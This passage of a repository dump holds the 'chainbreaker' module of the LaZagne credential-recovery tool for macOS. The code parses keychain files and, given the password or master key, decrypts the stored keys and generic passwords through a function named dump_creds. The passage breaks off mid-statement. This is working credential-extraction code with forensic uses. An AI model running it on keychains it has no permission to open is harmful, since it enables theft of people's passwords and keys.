'kSecAddressItemAttr',\n    'ssig': 'kSecSignatureItemAttr',\n    'ptcl': 'kSecProtocolItemAttr',\n    'ctyp': 'kSecCertificateType',\n    'cenc': 'kSecCertificateEncoding',\n    'crtp': 'kSecCrlType',\n    'crnc': 'kSecCrlEncoding',\n    'alis': 'kSecAlias',\n    'inet': 'kSecInternetPasswordItemClass',\n    'genp': 'kSecGenericPasswordItemClass',\n    'ashp': 'kSecAppleSharePasswordItemClass',\n    CSSM_DL_DB_RECORD_X509_CERTIFICATE: 'kSecCertificateItemClass'\n}\n"
  },
  {
    "path": "Mac/lazagne/softwares/system/chainbreaker_module/__init__.py",
    "content": ""
  },
  {
    "path": "Mac/lazagne/softwares/system/chainbreaker_module/chainbreaker.py",
    "content": "#!/usr/bin/python\n\n# Author : n0fate\n# E-Mail rapfer@gmail.com, n0fate@n0fate.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or (at\n# your option) any later version.\n#\n# This program is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n#\n\nimport struct\nimport datetime\n\nfrom binascii import unhexlify\nfrom ctypes import *\n\nfrom .pbkdf2 import pbkdf2\nfrom .Schema import *\n\nfrom lazagne.config.write_output import print_debug\nfrom lazagne.config.crypto.pyDes import *\n\nATOM_SIZE = 4\nSIZEOFKEYCHAINTIME = 16\n\nKEYCHAIN_SIGNATURE = \"kych\"\n\nBLOCKSIZE = 8\nKEYLEN = 24\n\n\nclass _APPL_DB_HEADER(BigEndianStructure):\n    _fields_ = [\n        (\"Signature\", c_char * 4),\n        (\"Version\", c_int),\n        (\"HeaderSize\", c_int),\n        (\"SchemaOffset\", c_int),\n        (\"AuthOffset\", c_int)\n    ]\n\n\nclass _APPL_DB_SCHEMA(BigEndianStructure):\n    _fields_ = [\n        (\"SchemaSize\", c_int),\n        (\"TableCount\", c_int)\n    ]\n\n\nclass _KEY_BLOB_REC_HEADER(BigEndianStructure):\n    _fields_ = [\n        (\"RecordSize\", c_uint),\n        (\"RecordCount\", c_uint),\n        (\"Dummy\", c_char * 0x7C),\n    ]\n\n\nclass _GENERIC_PW_HEADER(BigEndianStructure):\n    _fields_ = [\n        (\"RecordSize\", c_uint),\n        (\"RecordNumber\", c_uint),\n        (\"Unknown2\", c_uint),\n        (\"Unknown3\", c_uint),\n        (\"SSGPArea\", c_uint),\n        (\"Unknown5\", c_uint),\n        (\"CreationDate\", c_uint),\n        (\"ModDate\", c_uint),\n        (\"Description\", c_uint),\n        (\"Comment\", c_uint),\n        (\"Creator\", c_uint),\n        (\"Type\", c_uint),\n        (\"ScriptCode\", c_uint),\n        (\"PrintName\", c_uint),\n        (\"Alias\", c_uint),\n        (\"Invisible\", c_uint),\n        (\"Negative\", c_uint),\n        (\"CustomIcon\", c_uint),\n        (\"Protected\", c_uint),\n        (\"Account\", c_uint),\n        (\"Service\", c_uint),\n        (\"Generic\", c_uint)\n    ]\n\n\nclass _APPLE_SHARE_HEADER(BigEndianStructure):\n    _fields_ = [\n        (\"RecordSize\", c_uint),\n        (\"RecordNumber\", c_uint),\n        (\"Unknown2\", c_uint),\n        (\"Unknown3\", c_uint),\n        (\"SSGPArea\", c_uint),\n        (\"Unknown5\", c_uint),\n        (\"CreationDate\", c_uint),\n        (\"ModDate\", c_uint),\n        (\"Description\", c_uint),\n        (\"Comment\", c_uint),\n        (\"Creator\", c_uint),\n        (\"Type\", c_uint),\n        (\"ScriptCode\", c_uint),\n        (\"PrintName\", c_uint),\n        (\"Alias\", c_uint),\n        (\"Invisible\", c_uint),\n        (\"Negative\", c_uint),\n        (\"CustomIcon\", c_uint),\n        (\"Protected\", c_uint),\n        (\"Account\", c_uint),\n        (\"Volume\", c_uint),\n        (\"Server\", c_uint),\n        (\"Protocol\", c_uint),\n        (\"AuthType\", c_uint),\n        (\"Address\", c_uint),\n        (\"Signature\", c_uint)\n    ]\n\n\nclass _INTERNET_PW_HEADER(BigEndianStructure):\n    _fields_ = [\n        (\"RecordSize\", c_uint),\n        (\"RecordNumber\", c_uint),\n        (\"Unknown2\", c_uint),\n        (\"Unknown3\", c_uint),\n        (\"SSGPArea\", c_uint),\n        (\"Unknown5\", c_uint),\n        (\"CreationDate\", c_uint),\n        (\"ModDate\", c_uint),\n        (\"Description\", c_uint),\n        (\"Comment\", c_uint),\n        (\"Creator\", c_uint),\n        (\"Type\", c_uint),\n        (\"ScriptCode\", c_uint),\n        (\"PrintName\", c_uint),\n        (\"Alias\", c_uint),\n        (\"Invisible\", c_uint),\n        (\"Negative\", c_uint),\n        (\"CustomIcon\", c_uint),\n        (\"Protected\", c_uint),\n        (\"Account\", c_uint),\n        (\"SecurityDomain\", c_uint),\n        (\"Server\", c_uint),\n        (\"Protocol\", c_uint),\n        (\"AuthType\", c_uint),\n        (\"Port\", c_uint),\n        (\"Path\", c_uint)\n    ]\n\n\nclass _X509_CERT_HEADER(BigEndianStructure):\n    _fields_ = [\n        (\"RecordSize\", c_uint),\n        (\"RecordNumber\", c_uint),\n        (\"Unknown1\", c_uint),\n        (\"Unknown2\", c_uint),\n        (\"CertSize\", c_uint),\n        (\"Unknown3\", c_uint),\n        (\"CertType\", c_uint),\n        (\"CertEncoding\", c_uint),\n        (\"PrintName\", c_uint),\n        (\"Alias\", c_uint),\n        (\"Subject\", c_uint),\n        (\"Issuer\", c_uint),\n        (\"SerialNumber\", c_uint),\n        (\"SubjectKeyIdentifier\", c_uint),\n        (\"PublicKeyHash\", c_uint)\n    ]\n\n\n# http://www.opensource.apple.com/source/Security/Security-55179.1/include/security_cdsa_utilities/KeySchema.h\n# http://www.opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-36940/lib/SecKey.h\nclass _SECKEY_HEADER(BigEndianStructure):\n    _fields_ = [\n        (\"RecordSize\", c_uint32),\n        (\"RecordNumber\", c_uint32),\n        (\"Unknown1\", c_uint32),\n        (\"Unknown2\", c_uint32),\n        (\"BlobSize\", c_uint32),\n        (\"Unknown3\", c_uint32),\n        (\"KeyClass\", c_uint32),\n        (\"PrintName\", c_uint32),\n        (\"Alias\", c_uint32),\n        (\"Permanent\", c_uint32),\n        (\"Private\", c_uint32),\n        (\"Modifiable\", c_uint32),\n        (\"Label\", c_uint32),\n        (\"ApplicationTag\", c_uint32),\n        (\"KeyCreator\", c_uint32),\n        (\"KeyType\", c_uint32),\n        (\"KeySizeInBits\", c_uint32),\n        (\"EffectiveKeySize\", c_uint32),\n        (\"StartDate\", c_uint32),\n        (\"EndDate\", c_uint32),\n        (\"Sensitive\", c_uint32),\n        (\"AlwaysSensitive\", c_uint32),\n        (\"Extractable\", c_uint32),\n        (\"NeverExtractable\", c_uint32),\n        (\"Encrypt\", c_uint32),\n        (\"Decrypt\", c_uint32),\n        (\"Derive\", c_uint32),\n        (\"Sign\", c_uint32),\n        (\"Verify\", c_uint32),\n        (\"SignRecover\", c_uint32),\n        (\"VerifyRecover\", c_uint32),\n        (\"Wrap\", c_uint32),\n        (\"UnWrap\", c_uint32)\n    ]\n\n\nclass _TABLE_HEADER(BigEndianStructure):\n    _fields_ = [\n        (\"TableSize\", c_uint),\n        (\"TableId\", c_uint),\n        (\"RecordCount\", c_uint),\n        (\"Records\", c_uint),\n        (\"IndexesOffset\", c_uint),\n        (\"FreeListHead\", c_uint),\n        (\"RecordNumbersCount\", c_uint),\n    ]\n\n\nclass _SCHEMA_INFO_RECORD(BigEndianStructure):\n    _fields_ = [\n        (\"RecordSize\", c_uint),\n        (\"RecordNumber\", c_uint),\n        (\"Unknown2\", c_uint),\n        (\"Unknown3\", c_uint),\n        (\"Unknown4\", c_uint),\n        (\"Unknown5\", c_uint),\n        (\"Unknown6\", c_uint),\n        (\"RecordType\", c_uint),\n        (\"DataSize\", c_uint),\n        (\"Data\", c_uint)\n    ]\n\n\nclass _COMMON_BLOB(BigEndianStructure):\n    _fields_ = [\n        (\"magic\", c_uint32),\n        (\"blobVersion\", c_uint32)\n    ]\n\n\n# _ENCRYPTED_BLOB_METADATA\nclass _KEY_BLOB(BigEndianStructure):\n    _fields_ = [\n        (\"CommonBlob\", _COMMON_BLOB),\n        (\"startCryptoBlob\", c_uint32),\n        (\"totalLength\", c_uint32),\n        (\"iv\", c_ubyte * 8)\n    ]\n\n\nclass _DB_PARAMETERS(BigEndianStructure):\n    _fields_ = [\n        (\"idleTimeout\", c_uint32),  # uint32\n        (\"lockOnSleep\", c_uint32)  # uint8\n    ]\n\n\nclass _DB_BLOB(BigEndianStructure):\n    _fields_ = [\n        (\"CommonBlob\", _COMMON_BLOB),\n        (\"startCryptoBlob\", c_uint32),\n        (\"totalLength\", c_uint32),\n        (\"randomSignature\", c_ubyte * 16),\n        (\"sequence\", c_uint32),\n        (\"params\", _DB_PARAMETERS),\n        (\"salt\", c_ubyte * 20),\n        (\"iv\", c_ubyte * 8),\n        (\"blobSignature\", c_ubyte * 20)\n    ]\n\n\nclass _SSGP(BigEndianStructure):\n    _fields_ = [\n        (\"magic\", c_char * 4),\n        (\"label\", c_ubyte * 16),\n        (\"iv\", c_ubyte * 8)\n    ]\n\n\ndef _memcpy(buf, fmt):\n    return cast(c_char_p(buf), POINTER(fmt)).contents\n\n\nclass KeyChain():\n    def __init__(self, filepath):\n        self.filepath = filepath\n        self.fbuf = ''\n\n    def open(self):\n        try:\n            fhandle = open(self.filepath, 'rb')\n        except Exception:\n            return False\n        self.fbuf = fhandle.read()\n        if len(self.fbuf):\n            fhandle.close()\n            return True\n        return False\n\n    def checkValidKeychain(self):\n        if self.fbuf[0:4] != KEYCHAIN_SIGNATURE:\n            return False\n        return True\n\n    # get apple DB Header\n    def getHeader(self):\n        header = _memcpy(self.fbuf[:sizeof(_APPL_DB_HEADER)], _APPL_DB_HEADER)\n\n        return header\n\n    def getSchemaInfo(self, offset):\n        table_list = []\n        # schema_info = struct.unpack(APPL_DB_SCHEMA, self.fbuf[offset:offset + APPL_DB_SCHEMA_SIZE])\n        _schemainfo = _memcpy(self.fbuf[offset:offset + sizeof(_APPL_DB_SCHEMA)], _APPL_DB_SCHEMA)\n        for i in xrange(_schemainfo.TableCount):\n            BASE_ADDR = sizeof(_APPL_DB_HEADER) + sizeof(_APPL_DB_SCHEMA)\n            table_list.append(\n                struct.unpack('>I', self.fbuf[BASE_ADDR + (ATOM_SIZE * i):BASE_ADDR + (ATOM_SIZE * i) + ATOM_SIZE])[0])\n\n        return _schemainfo, table_list\n\n    def getTable(self, offset):\n        record_list = []\n        BASE_ADDR = sizeof(_APPL_DB_HEADER) + offset\n\n        TableMetaData = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR + sizeof(_TABLE_HEADER)], _TABLE_HEADER)\n\n        RECORD_OFFSET_BASE = BASE_ADDR + sizeof(_TABLE_HEADER)\n\n        record_count = 0\n        offset = 0\n        while TableMetaData.RecordCount != record_count:\n            RecordOffset = struct.unpack('>I', self.fbuf[\n                                               RECORD_OFFSET_BASE + (ATOM_SIZE * offset):RECORD_OFFSET_BASE + (\n                                                       ATOM_SIZE * offset) + ATOM_SIZE])[0]\n            # if len(record_list) >= 1:\n            #     if record_list[len(record_list)-1] >= RecordOffset:\n            #         continue\n            if (RecordOffset != 0x00) and (RecordOffset % 4 == 0):\n                record_list.append(RecordOffset)\n                # print ' [-] Record Offset: 0x%.8x'%RecordOffset\n                record_count += 1\n            offset += 1\n\n        return TableMetaData, record_list\n\n    def getTablenametoList(self, recordList, tableList):\n        TableDic = {}\n        for count in xrange(len(recordList)):\n            tableMeta, GenericList = self.getTable(tableList[count])\n            TableDic[tableMeta.TableId] = count  # extract valid table list\n\n        return len(recordList), TableDic\n\n    def getKeyblobRecord(self, base_addr, offset):\n\n        BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset\n\n        KeyBlobRecHeader = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR + sizeof(_KEY_BLOB_REC_HEADER)], _KEY_BLOB_REC_HEADER)\n\n        record = self.fbuf[\n                 BASE_ADDR + sizeof(_KEY_BLOB_REC_HEADER):BASE_ADDR + KeyBlobRecHeader.RecordSize]  # password data area\n\n        KeyBlobRecord = _memcpy(record[:+sizeof(_KEY_BLOB)], _KEY_BLOB)\n\n        if SECURE_STORAGE_GROUP != str(record[KeyBlobRecord.totalLength + 8:KeyBlobRecord.totalLength + 8 + 4]):\n            return '', '', '', 1\n\n        CipherLen = KeyBlobRecord.totalLength - KeyBlobRecord.startCryptoBlob\n        if CipherLen % BLOCKSIZE != 0:\n            print_debug('ERROR', \"Bad ciphertext len\")\n            return '', '', '', 1\n\n        ciphertext = record[KeyBlobRecord.startCryptoBlob:KeyBlobRecord.totalLength]\n\n        # match data, keyblob_ciphertext, Initial Vector, success\n        return record[KeyBlobRecord.totalLength + 8:KeyBlobRecord.totalLength + 8 + 20], ciphertext, KeyBlobRecord.iv, 0\n\n    def getGenericPWRecord(self, base_addr, offset):\n        record = []\n\n        BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset\n\n        RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR + sizeof(_GENERIC_PW_HEADER)], _GENERIC_PW_HEADER)\n\n        Buffer = self.fbuf[BASE_ADDR + sizeof(\n            _GENERIC_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize]  # record_meta[0] => record size\n\n        if RecordMeta.SSGPArea != 0:\n            record.append(Buffer[:RecordMeta.SSGPArea])\n        else:\n            record.append('')\n\n        record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE))\n        record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE))\n\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE))\n\n        record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE))\n        record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE))\n\n        record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Service & 0xFFFFFFFE))\n\n        return record\n\n    def getInternetPWRecord(self, base_addr, offset):\n        record = []\n\n        BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset\n\n        RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR + sizeof(_INTERNET_PW_HEADER)], _INTERNET_PW_HEADER)\n\n        Buffer = self.fbuf[BASE_ADDR + sizeof(_INTERNET_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize]\n\n        if RecordMeta.SSGPArea != 0:\n            record.append(Buffer[:RecordMeta.SSGPArea])\n        else:\n            record.append('')\n\n        record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE))\n        record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Comment & 0xFFFFFFFE))\n        record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE))\n        record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Protected & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.SecurityDomain & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Server & 0xFFFFFFFE))\n        record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Protocol & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.AuthType & 0xFFFFFFFE))\n        record.append(self.getInt(BASE_ADDR, RecordMeta.Port & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Path & 0xFFFFFFFE))\n        return record\n\n    def getx509Record(self, base_addr, offset):\n        record = []\n\n        BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset\n\n        RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR + sizeof(_X509_CERT_HEADER)], _X509_CERT_HEADER)\n\n        x509Certificate = self.fbuf[BASE_ADDR + sizeof(_X509_CERT_HEADER):BASE_ADDR + sizeof(\n            _X509_CERT_HEADER) + RecordMeta.CertSize]\n\n        record.append(self.getInt(BASE_ADDR, RecordMeta.CertType & 0xFFFFFFFE))  # Cert Type\n        record.append(self.getInt(BASE_ADDR, RecordMeta.CertEncoding & 0xFFFFFFFE))  # Cert Encoding\n\n        record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Subject & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Issuer & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.SerialNumber & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.SubjectKeyIdentifier & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.PublicKeyHash & 0xFFFFFFFE))\n\n        record.append(x509Certificate)\n        return record\n\n    def getKeyRecord(self, base_addr, offset):  ## PUBLIC and PRIVATE KEY\n        record = []\n\n        BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset\n\n        RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR + sizeof(_SECKEY_HEADER)], _SECKEY_HEADER)\n\n        KeyBlob = self.fbuf[BASE_ADDR + sizeof(_SECKEY_HEADER):BASE_ADDR + sizeof(_SECKEY_HEADER) + RecordMeta.BlobSize]\n\n        record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Label & 0xFFFFFFFE))\n        record.append(self.getInt(BASE_ADDR, RecordMeta.KeyClass & 0xFFFFFFFE))\n        record.append(self.getInt(BASE_ADDR, RecordMeta.Private & 0xFFFFFFFE))\n        record.append(self.getInt(BASE_ADDR, RecordMeta.KeyType & 0xFFFFFFFE))\n        record.append(self.getInt(BASE_ADDR, RecordMeta.KeySizeInBits & 0xFFFFFFFE))\n        record.append(self.getInt(BASE_ADDR, RecordMeta.EffectiveKeySize & 0xFFFFFFFE))\n        record.append(self.getInt(BASE_ADDR, RecordMeta.Extractable & 0xFFFFFFFE))\n        record.append(str(self.getLV(BASE_ADDR, RecordMeta.KeyCreator & 0xFFFFFFFE)).split('\\x00')[0])\n\n        IV, Key = self.getEncryptedDatainBlob(KeyBlob)\n        record.append(IV)\n        record.append(Key)\n\n        return record\n\n    def getEncryptedDatainBlob(self, BlobBuf):\n        KeyBlob = _memcpy(BlobBuf[:sizeof(_KEY_BLOB)], _KEY_BLOB)\n\n        if KeyBlob.CommonBlob.magic != 0xFADE0711:\n            return '', ''\n\n        KeyData = BlobBuf[KeyBlob.startCryptoBlob:KeyBlob.totalLength]\n        return KeyBlob.iv, KeyData  # IV, Encrypted Data\n\n    def getKeychainTime(self, BASE_ADDR, pCol):\n        if pCol <= 0:\n            return ''\n        else:\n            data = str(struct.unpack('>16s', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + struct.calcsize('>16s')])[0])\n            return str(datetime.datetime.strptime(data.strip('\\x00'), '%Y%m%d%H%M%SZ'))\n\n    def getInt(self, BASE_ADDR, pCol):\n        if pCol <= 0:\n            return 0\n        else:\n            return struct.unpack('>I', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0]\n\n    def getFourCharCode(self, BASE_ADDR, pCol):\n        if pCol <= 0:\n            return ''\n        else:\n            return struct.unpack('>4s', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0]\n\n    def getLV(self, BASE_ADDR, pCol):\n        if pCol <= 0:\n            return ''\n\n        str_length = struct.unpack('>I', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0]\n        # 4byte arrangement\n        if (str_length % 4) == 0:\n            real_str_len = (str_length / 4) * 4\n        else:\n            real_str_len = ((str_length / 4) + 1) * 4\n        unpack_value = '>' + str(real_str_len) + 's'\n        try:\n            data = struct.unpack(unpack_value, self.fbuf[BASE_ADDR + pCol + 4:BASE_ADDR + pCol + 4 + real_str_len])[0]\n        except struct.error:\n            # print 'Length is too long : %d'%real_str_len\n            return ''\n        return data\n\n    def getAppleshareRecord(self, base_addr, offset):\n        record = []\n\n        BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset\n\n        RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR + sizeof(_APPLE_SHARE_HEADER)], _APPLE_SHARE_HEADER)\n\n        Buffer = self.fbuf[BASE_ADDR + sizeof(_APPLE_SHARE_HEADER):BASE_ADDR + RecordMeta.RecordSize]\n\n        if RecordMeta.SSGPArea != 0:\n            record.append(Buffer[:RecordMeta.SSGPArea])\n        else:\n            record.append('')\n\n        record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE))\n        record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Comment & 0xFFFFFFFE))\n        record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE))\n        record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Protected & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Volume & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Server & 0xFFFFFFFE))\n        record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Protocol & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Address & 0xFFFFFFFE))\n        record.append(self.getLV(BASE_ADDR, RecordMeta.Signature & 0xFFFFFFFE))\n\n        return record\n\n    ## decrypted dbblob area\n    ## Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT\n    ## http://www.opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-36620/lib/StorageManager.cpp\n    def SSGPDecryption(self, ssgp, dbkey):\n        SSGP = _memcpy(ssgp, _SSGP)\n        plain = kcdecrypt(dbkey, SSGP.iv, ssgp[sizeof(_SSGP):])\n\n        return plain\n\n    # Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT\n    # source : http://www.opensource.apple.com/source/libsecurity_cdsa_client/libsecurity_cdsa_client-36213/lib/securestorage.cpp\n    # magicCmsIV : http://www.opensource.apple.com/source/Security/Security-28/AppleCSP/AppleCSP/wrapKeyCms.cpp\n    def KeyblobDecryption(self, encryptedblob, iv, dbkey):\n\n        magicCmsIV = unhexlify('4adda22c79e82105')\n        plain = kcdecrypt(dbkey, magicCmsIV, encryptedblob)\n\n        if plain.__len__() == 0:\n            return ''\n\n        # now we handle the unwrapping. we need to take the first 32 bytes,\n        # and reverse them.\n        revplain = ''\n        for i in range(32):\n            revplain += plain[31 - i]\n\n        # now the real key gets found. */\n        plain = kcdecrypt(dbkey, iv, revplain)\n\n        keyblob = plain[4:]\n\n        if len(keyblob) != KEYLEN:\n            # raise \"Bad decrypted keylen!\"\n            return ''\n\n        return keyblob\n\n    # test code\n    # http://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55044/lib/KeyItem.cpp\n    def PrivateKeyDecryption(self, encryptedblob, iv, dbkey):\n        magicCmsIV = unhexlify('4adda22c79e82105')\n        plain = kcdecrypt(dbkey, magicCmsIV, encryptedblob)\n\n        if plain.__len__() == 0:\n            return '', ''\n\n        # now we handle the unwrapping. we need to take the first 32 bytes,\n        # and reverse them.\n        revplain = ''\n        for i in range(len(plain)):\n            revplain += plain[len(plain) - 1 - i]\n\n        # now the real key gets found. */\n        plain = kcdecrypt(dbkey, iv, revplain)\n\n        Keyname = plain[:12]  # Copied Buffer when user click on right and copy a key on Keychain Access\n        keyblob = plain[12:]\n\n        return Keyname, keyblob\n\n    # Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT\n    def generateMasterKey(self, pw, symmetrickey_offset):\n\n        base_addr = sizeof(_APPL_DB_HEADER) + symmetrickey_offset + 0x38  # header\n        dbblob = _memcpy(self.fbuf[base_addr:base_addr + sizeof(_DB_BLOB)], _DB_BLOB)\n\n        masterkey = pbkdf2(pw, str(bytearray(dbblob.salt)), 1000, KEYLEN)\n        return masterkey\n\n    # find DBBlob and extract Wrapping key\n    def findWrappingKey(self, master, symmetrickey_offset):\n\n        base_addr = sizeof(_APPL_DB_HEADER) + symmetrickey_offset + 0x38\n\n        dbblob = _memcpy(self.fbuf[base_addr:base_addr + sizeof(_DB_BLOB)], _DB_BLOB)\n\n        # get cipher text area\n        ciphertext = self.fbuf[base_addr + dbblob.startCryptoBlob:base_addr + dbblob.totalLength]\n\n        # decrypt the key\n        plain = kcdecrypt(master, dbblob.iv, ciphertext)\n\n        if plain.__len__() < KEYLEN:\n            return ''\n\n        dbkey = plain[:KEYLEN]\n\n        # return encrypted wrapping key\n        return dbkey\n\n\n# SOURCE : extractkeychain.py\ndef kcdecrypt(key, iv, data):\n    if len(data) == 0:\n        # print>>stderr, \"FileSize is 0\"\n        return ''\n\n    if len(data) % BLOCKSIZE != 0:\n        return ''\n\n    cipher = triple_des(key, CBC, str(bytearray(iv)))\n    # the line below is for pycrypto instead\n    # cipher = DES3.new( key, DES3.MODE_CBC, iv )\n\n    plain = cipher.decrypt(data)\n\n    # now check padding\n    pad = ord(plain[-1])\n    if pad > 8:\n        # print>> stderr, \"Bad padding byte. You probably have a wrong password\"\n        return ''\n\n    for z in plain[-pad:]:\n        if ord(z) != pad:\n            # print>> stderr, \"Bad padding. You probably have a wrong password\"\n            return ''\n\n    plain = plain[:-pad]\n\n    return plain\n\n\ndef dump_creds(keychain_file, password=None, key=None):\n    keychain = KeyChain(keychain_file)\n\n    if keychain.open() is False:\n        print_debug('ERROR', '%s Open Failed' % keychain_file)\n        return False\n\n    KeychainHeader = keychain.getHeader()\n\n    if KeychainHeader.Signature != KEYCHAIN_SIGNATURE:\n        print_debug('ERROR', 'Invalid Keychain Format')\n        return False\n\n    SchemaInfo, TableList = keychain.getSchemaInfo(KeychainHeader.SchemaOffset)\n\n    TableMetadata, RecordList = keychain.getTable(TableList[0])\n\n    tableCount, tableEnum = keychain.getTablenametoList(RecordList, TableList)\n\n    # generate database key\n    if password:\n        masterkey = keychain.generateMasterKey(password, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]])\n        dbkey = keychain.findWrappingKey(masterkey, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]])\n    else:\n        dbkey = keychain.findWrappingKey(unhexlify(key), TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]])\n\n    # DEBUG\n    print_debug('DEBUG', 'DB Key: %s' % str(repr(dbkey)))\n\n    key_list = {}  # keyblob list\n\n    # get symmetric key blob\n    print_debug('DEBUG', 'Symmetric Key Table: 0x%.8x' % (\n                sizeof(_APPL_DB_HEADER) + TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]]))\n    TableMetadata, symmetrickey_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]])\n\n    for symmetrickey_record in symmetrickey_list:\n        keyblob, ciphertext, iv, return_value = keychain.getKeyblobRecord(\n            TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]],\n            symmetrickey_record)\n        if return_value == 0:\n            passwd = keychain.KeyblobDecryption(ciphertext, iv, dbkey)\n            if passwd != '':\n                key_list[keyblob] = passwd\n\n    pwdFound = []\n    legend = ['', 'Create DateTime', 'Last Modified DateTime', 'Description', 'Creator', 'Type', 'PrintName', 'Alias',\n              'Account', 'Service']\n\n    try:\n        TableMetadata, genericpw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_GENERIC_PASSWORD]])\n\n        for genericpw in genericpw_list:\n            record = keychain.getGenericPWRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_GENERIC_PASSWORD]], genericpw)\n            # print '[+] Generic Password Record'\n            try:\n                real_key = key_list[record[0][0:20]]\n                passwd = keychain.SSGPDecryption(record[0], real_key)\n            except KeyError:\n                passwd = ''\n\n            if passwd:\n                values = 